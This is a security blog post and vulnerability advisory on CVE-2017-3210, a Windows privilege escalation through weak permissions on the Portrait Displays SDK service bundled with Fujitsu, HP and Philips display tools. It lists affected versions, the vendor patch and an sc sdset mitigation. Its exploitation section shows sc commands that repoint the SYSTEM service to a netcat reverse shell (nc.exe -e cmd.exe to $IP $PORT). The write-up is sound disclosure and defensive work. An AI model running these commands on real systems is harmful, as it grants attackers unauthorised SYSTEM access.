- On 25. Apr 2017
Yet another windows service privilege escalation?
During Windows client audits, it is quite common to try to find a way to escalate privileges in first place, to widen the attack surface and prepare for more sophisticated attacks (lateral movement, privilege escalation, rise and repeat). Besides known exploits in various kinds of software, it is always interesting to check for the low hanging fruits on the privilege escalation tree. Those sweet fruits include weak file- and folder permissions, unquoted service paths, or as described in this blogpost, weak service permissions, which can all lead to privilege escalation on Windows machines.
Those low hanging fruits appear on a regular basis in the life of a penetration tester and they are normally not that sophisticated from a technical perspective.
The identified vulnerable Windows service, is pre-installed on millions of laptops disguised as branded bloatware*. This changes a lot! Particularly due to the fact that the privilege escalation is now not limited to a single misconfigured device in a random company environment anymore.
* The […] term bloatware is also commonly used to refer to preinstalled software on a device, usually included by the hardware manufacturer, that is mostly unwanted by the purchaser.
Bloatware, a common Cinderella Subject
Bloatware are those pieces of software, which are pre-installed on all your devices and nobody really makes use of them. Depending on the hardware vendor, some ship with a lot of bloatware and some try to keep their devices clean. But there is one thing, which have most of those pre-installed pieces of software in common, they are not self developed by the hardware vendor, but rather acquired from 3rd parties and as everybody should know it is very important to test self-developed as well as externally developed programs before going live. It is also very important that already at the point of the assignment of the application the security requirements have to be declared bindingly to the contractor. Before going live the contractor has to be obligated to supply a test installation of the system, which can undergo a security related approval test, conducted by security experts.
The past has already shown us, that such 3rd party bloatware acquired by OEM’s is treated like a orphaned child and at best reviewed and tested by security experts fragmentary, or in the worst case the software gets rolled out without a proper security review at all.   
A virtual on screen display, that can’t be dangerous, right… RIGHT?
The vulnerability, described in this blogpost, was found in a core module of a so called virtual on screen display (vOSD). The purpose of a virtual on screen display is to replace the hardware adjustment buttons on screens, notebooks, smartphones and other kinds of displays. This should allow an user to quickly manage certain screen parameters (e.g. Rotation, Alignment, Color Values, Gamma values, Color temperature, Color saturation, Brightness, etc) with a simple piece of software, instead of struggling around with the hardware buttons on the display.
Portrait Displays Inc., the company responsible for developing the vulnerable software, describes their product as follows:
To get the most out of your display, it is important to set it up properly for your particular room lightning, display placement, and vision. Using the buttons on the edge of the display can be confusing, if not difficult.
Display Tune’s OSD Enhancement takes all of the display’s button functions and transfers them to the screen, where simple buttons and sliders make screen adjustments a breeze.
That doesn’t sound too dangerous right? Changing the colors of a display is nothing what an attacker can use to attack a single PC, or a whole company environment. That’s probably exactly what some big OEM’s thought as well, while acquiring the vulnerable software. May he be shamed who thinks badly of it.
The exploitation itself is not too special, so nothing new to see here. For the sake of completeness, the way how the vulnerability was discovered and exploited is described below.
To identify the vulnerable Portrait Display SDK service, which is packaged by Portrait Display Inc. for various OEM’s as a core package for virtual on screen displays, the permissions of the Portrait Display SDK service were retrieved with the built-in Windows command “sc”. The output of the command for the vulnerable service can be seen below:
RW NT AUTHORITYAuthenticated Users
RW NT AUTHORITYSYSTEM
R NT AUTHORITYINTERACTIVE
R NT AUTHORITYSERVICE
Due to the fact, that every authenticated user has write access on the service, an attacker is able to execute arbitrary code by changing the services binary path. Moreover, the Pdiservice is executed with SYSTEM permissions, resulting in privilege escalation.
The workflow to execute arbitrary code with elevated SYSTEM privileges is as follows:
1) Stop Service
sc stop pdiservice
2) Alter service binary path
sc config pdiservice binpath= "C:nc.exe -nv $IP $PORT -e C:WINDOWSSystem32cmd.exe"
3) Start Service
sc start pdiservice
The possibilities are endless, other useful payloads are the creation of new users, adding users to groups, changing privileges etc. All of the commands are executed with SYSTEM privileges.
The above commands were executed by the “sectester” user who doesn’t have administrative privileges (it’s a low privileged standard user). As the last figure shows, the user successfully escalated his privileges to SYSTEM.
One service to rule them all
It is quite juicy to observe, that companies selling millions of notebooks, PCs and convertibles simply do not care (enough) about security. The affected companies do have a net worth of multiple billions, but they do not have a few thousand euros/dollars/yen to conduct a proper security review on the software and services, they are acquiring from 3rd parties. This vulnerability would have been identified immediately in a thorough security review of the application/service if an audit would have been conducted by security experts before shipping devices with this software. Even automated vulnerability scans would detect such weak service permissions  .
But it seems that the problem is not limited to this service described in this blogpost. A lot of other services from big players are affected as well, the problem is that those vulnerabilities are most of the time downplayed or even ignored (e.g Dell’s DellRctlService , or the Lansweeper Service  are/were affected from the exact same vulnerability but no one really noticed and the problem itself was downplayed).
There are two ways to get rid of the vulnerability.
The vendor provided a patch for the vulnerable software on their website: http://www.portrait.com/securityupdate.html
To quickly get rid of the vulnerability, the permissions of the service can be altered with the built-in windows command “sc”.
To completely remove the permissions of the “Authenticated Users” group, the following command can be used:
sc sdset pdiservice D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA) (A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)
This results in the following set of permissions:
RW NT AUTHORITYSYSTEM
R NT AUTHORITYINTERACTIVE
R NT AUTHORITYSERVICE
The vendor confirmed that at least the following binaries are vulnerable
Fujitsu DisplayView Click Version 6.0
build id: dtune-fts-R2014-04-22-1630-07,6.01
build id: dtune-fts-R2014-05-13-1436-35
The issue was fixed in Version 6.3 build id: dtune-fts-R2016-03-07-1133-51
Fujitsu DisplayView Click Suite Version 5
build id: dtune-fus-R2012-09-26-1056-32
The issue is addressed by patch in Version 5.9 build id: dtune-fus-R2017-04-01-1212-32
HP Display Assistant Version 2.1
build id: dtune-hwp-R2012-10-31-1329-38
The issue was fixed in Version 2.11 build id: dtune-hwp-R2013-10-11-1504-22 and above
HP My Display Version 2.01
build id: dtune-hpc-R2013-01-10-1507-17
The issue was fixed in Version 2.1 build id: dtune-hpc-R2014-06-27-1655-15 and above
Philips Smart Control Premium Versions with issue: 2.23
build id: dtune-plp-R2013-08-12-1215-13, 2.25
build id: dtune-plp-R2014-08-29-1016-05
The issue was fixed in Version 2.26 build id: dtune-plp-R2014-11-14-1813-07
The following pieces of software are using the Portrait Displays SDK Service, SEC Consult did not evaluate if those packages are vulnerable as well:
-) Fujitsu DisplayView Click v5
-) Fujitsu DisplayView Click v6
-) HP Display Assistant
-) HP Display Control
-) HP Mobile Display Assistant v1
-) HP Mobile Display Assistant v2
-) HP My Display
-) HP My Display All-In-One/TouchSmart
-) HP Picture in Picture
In the end, we want to thank Portrait Displays Inc. for resolving the issue in a professional way and responding regularly by providing continuous updates about the current state of the patch, as well as realizing that this vulnerability is critical instead of playing it down like other vendors have done in the past . This is crucial for a well working responsible disclosure process. Please review the vendor communication timeline for more details .
We would also like to thank CERT/CC for setting up the encrypted communication channel between Portrait Displays Inc, as well as providing a CVE (CVE-2017-3210) and a CERT VU (http://www.kb.cert.org/vuls).
This research was done by Werner Schober on behalf of SEC Consult Vulnerability Lab.
SEC Consult is always searching for talented security professionals to work in our team. More information can be found here.
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